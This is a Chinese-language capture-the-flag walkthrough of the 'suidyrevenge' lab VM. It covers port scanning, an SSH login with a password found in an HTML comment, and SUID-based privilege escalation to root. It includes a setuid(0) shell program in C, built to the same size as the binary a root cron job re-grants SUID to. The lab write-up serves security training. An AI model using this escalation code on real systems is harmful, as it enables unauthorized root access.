配合上一部靶机食用：[上一部链接]

主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# arp-scan -I eth1 -l

192.168.56.129  08:00:27:4d:46:99       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.129`

端口扫描

初略扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# nmap -p- 192.168.56.129

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

UDP没发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# nmap -sU --top-ports 100 192.168.56.129
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 13:25 CST
Nmap scan report for 192.168.56.129
Host is up (0.00075s latency).
All 100 scanned ports on 192.168.56.129 are in ignored states.
Not shown: 54 closed udp ports (port-unreach), 46 open|filtered udp ports (no-
response)
MAC Address: 08:00:27:4D:46:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 62.69 seconds
```

详细扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# nmap -sT -sC -sV -O -p22,80 192.168.56.129
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 13:26 CST
Nmap scan report for 192.168.56.129
Host is up (0.00090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 99:04:21:6d:81:68:2e:d7:fe:5e:b2:2c:1c:a2:f5:3d (RSA)
|   256 b2:4e:c2:91:2a:ba:eb:9c:b7:26:69:08:a2:de:f2:f1 (ECDSA)
|_  256 66:4e:78:52:b1:2d:b6:9a:8b:56:2b:ca:e5:48:55:2d (ED25519)
80/tcp open  http    nginx 1.14.2
```

```
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:4D:46:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.69 seconds
```

Web渗透

查看80页面

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# curl 192.168.56.129

Im proud to announce that "theuser" is not anymore in our servers.
Our admin "mudra" is the best admin of the world.
-suidy

<!--

"mudra" is not the best admin, IM IN!!!!
He only changed my password to a different but I had time
to put 2 backdoors (.php) from my KALI into /supersecure to keep the access!

-theuser

-->
```

用户名和密码`theuser:different`

登录theuser

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/suidyrevenge]
└─# ssh theuser@192.168.56.129
The authenticity of host '192.168.56.129 (192.168.56.129)' can't be established.
ED25519 key fingerprint is SHA256:C2ARiZObIPPaLPinl6orW4V74Oo6OBUH2jOJSGrwcu8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.129' (ED25519) to the list of known
hosts.
theuser@192.168.56.129's password:
Linux suidyrevenge 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07)
x86_64
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Oct  2 09:19:02 2020 from 192.168.1.58
theuser@suidyrevenge:~$ id
uid=1004(theuser) gid=1004(theuser) groups=1004(theuser)
theuser@suidyrevenge:~$
```

user.txt

```
theuser@suidyrevenge:~$ cat user.txt
HMVbisoususeryay
```

提权

```
theuser@suidyrevenge:~$ ls -al /home
total 32
drwxr-xr-x  8 root    root    4096 Oct  1  2020 .
drwxr-xr-x 18 root    root    4096 Oct  1  2020 ..
drwxrwxr--  3 murda   murda   4096 Oct  1  2020 murda
drwxrwx---  2 ruin    ruin    4096 Oct  1  2020 ruin
drwxrwxr-x  3 suidy   suidy   4096 Oct  2  2020 suidy
drwxrwx---  3 theuser theuser 4096 Oct  2  2020 theuser
drwxrwx---  3 violent violent 4096 Oct  1  2020 violent
drwxrwx---  2 yo      yo      4096 Oct  1  2020 yo
```

发现有6个用户，其中murda和suidy有读取权限（其中suidy用户有执行权限），看看有什么

查看murda和suidy

```
#murda
theuser@suidyrevenge:~$ ls -al /home/murda/
ls: cannot access '/home/murda/.local': Permission denied
ls: cannot access '/home/murda/.bashrc': Permission denied
ls: cannot access '/home/murda/.bash_logout': Permission denied
ls: cannot access '/home/murda/.Xauthority': Permission denied
ls: cannot access '/home/murda/.bash_history': Permission denied
ls: cannot access '/home/murda/.profile': Permission denied
ls: cannot access '/home/murda/..': Permission denied
ls: cannot access '/home/murda/.': Permission denied
ls: cannot access '/home/murda/secret.txt': Permission denied
total 0
d????????? ? ? ? ?            ? .
d????????? ? ? ? ?            ? ..
-????????? ? ? ? ?            ? .bash_history
-????????? ? ? ? ?            ? .bash_logout
-????????? ? ? ? ?            ? .bashrc
d????????? ? ? ? ?            ? .local
-????????? ? ? ? ?            ? .profile
-????????? ? ? ? ?            ? secret.txt
```

```
-????????? ? ? ? ?            ? .Xauthority
```

可以看到murda里面有个secret.txt

```
theuser@suidyrevenge:~$ ls -al /home/suidy/
total 52
drwxrwxr-x 3 suidy suidy    4096 Oct  2  2020 .
drwxr-xr-x 8 root  root     4096 Oct  1  2020 ..
-rw------- 1 suidy suidy      25 Oct  1  2020 .bash_history
-rwxrwx--- 1 suidy suidy     220 Oct  1  2020 .bash_logout
-rwxrwx--- 1 suidy suidy    3526 Oct  1  2020 .bashrc
drwxr-xr-x 3 suidy suidy    4096 Oct  1  2020 .local
-rw-r----- 1 suidy suidy     262 Oct  1  2020 note.txt
-rwxrwx--- 1 suidy suidy     807 Oct  1  2020 .profile
-rwsrws--- 1 root  theuser 16712 Oct  2  2020 suidyyyyy
```

可以看到有个只能suidy读的note.txt，还有个可以以theuser执行的suid文件

theuser ---> suidy

执行suidyyyyy

```
theuser@suidyrevenge:~$ /home/suidy/suidyyyyy

suidy@suidyrevenge:/home/suidy$ id
uid=1005(suidy) gid=1004(theuser) groups=1004(theuser)
```

suidy ---> root

```
suidy@suidyrevenge:/home/suidy$ cat note.txt
I know that theuser is not here anymore but suidyyyyy is now more secure!
root runs the script as in the past that always gives SUID to suidyyyyy binary
but this time also check the size of the file.
WE DONT WANT MORE "theuser" HERE!.
WE ARE SECURE NOW.

-suidy
suidy@suidyrevenge:/home/suidy$
```

" always gives SUID to suidyyyyy binary"

查看pspy32得知确实有个一分钟一次的脚本

```
2025/12/03 01:52:26 CMD: UID=0     PID=1      | /sbin/init
2025/12/03 01:52:52 CMD: UID=0     PID=1504   |
2025/12/03 01:53:01 CMD: UID=0     PID=1505   | /usr/sbin/CRON -f
2025/12/03 01:53:01 CMD: UID=0     PID=1506   | /usr/sbin/CRON -f
2025/12/03 01:53:01 CMD: UID=0     PID=1507   | /bin/sh -c sh /root/script.sh
2025/12/03 01:53:01 CMD: UID=0     PID=1508   | sh /root/script.sh
2025/12/03 01:53:01 CMD: UID=0     PID=1509   | sh /root/script.sh
2025/12/03 01:53:01 CMD: UID=0     PID=1510   | sh /root/script.sh
```

`this time also check the size of the file`

这次查看文件大小了（上一次连接）(省略了上一次的部分操作这里)

```
theuser@suidyrevenge:/home/suidy$ ls -al
total 7596

-rwxr-xr-x 1 suidy theuser   16712 Dec  3 02:23 shell
-rw-r--r-- 1 suidy theuser     138 Dec  3 02:23 shell.c
-rwsrws--- 1 root  theuser   16712 Oct  2  2020 suidyyyyy
```

shell.c文件内容

```
#include<unistd.h>
#include<stdlib.h>

int main(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
        return 0;
}
```

等到有SUID权限

```
theuser@suidyrevenge:/home/suidy$ ls -al
-rwsrws--- 1 root  theuser   16712 Dec  3 02:25 suidyyyyy
theuser@suidyrevenge:/home/suidy$ ./suidyyyyy
root@suidyrevenge:/home/suidy# id
uid=0(root) gid=0(root) groups=0(root),1004(theuser)
```

成功获得root权限

root.txt

```
root@suidyrevenge:/root# cat root.txt
HMVvoilarootlala
```

script.sh分析

```
root@suidyrevenge:/root# cat script.sh
FILE=/home/suidy/suidyyyyy
#不存在把root下的拷贝一份到suidy下并加SUID权限
if [ -f "$FILE" ]; then
echo ""
        else
   cp /root/suidyyyyy /home/suidy
   chown root:theuser /home/suidy/suidyyyyy
   chmod 770 /home/suidy/suidyyyyy
   chmod +s /home/suidy/suidyyyyy

fi

#存在判断文件大小，不同就把文件替换成root下的备份，并赋权
```

```
if [ $(stat -c%s /root/suidyyyyy) -ne $(stat -c%s /home/suidy/suidyyyyy) ]; then
   echo "They're different."
   cp /root/suidyyyyy /home/suidy
   chown root:theuser /home/suidy/suidyyyyy
   chmod 770 /home/suidy/suidyyyyy
   chmod +s /home/suidy/suidyyyyy
else
chmod +s /home/suidy/suidyyyyy
fi
```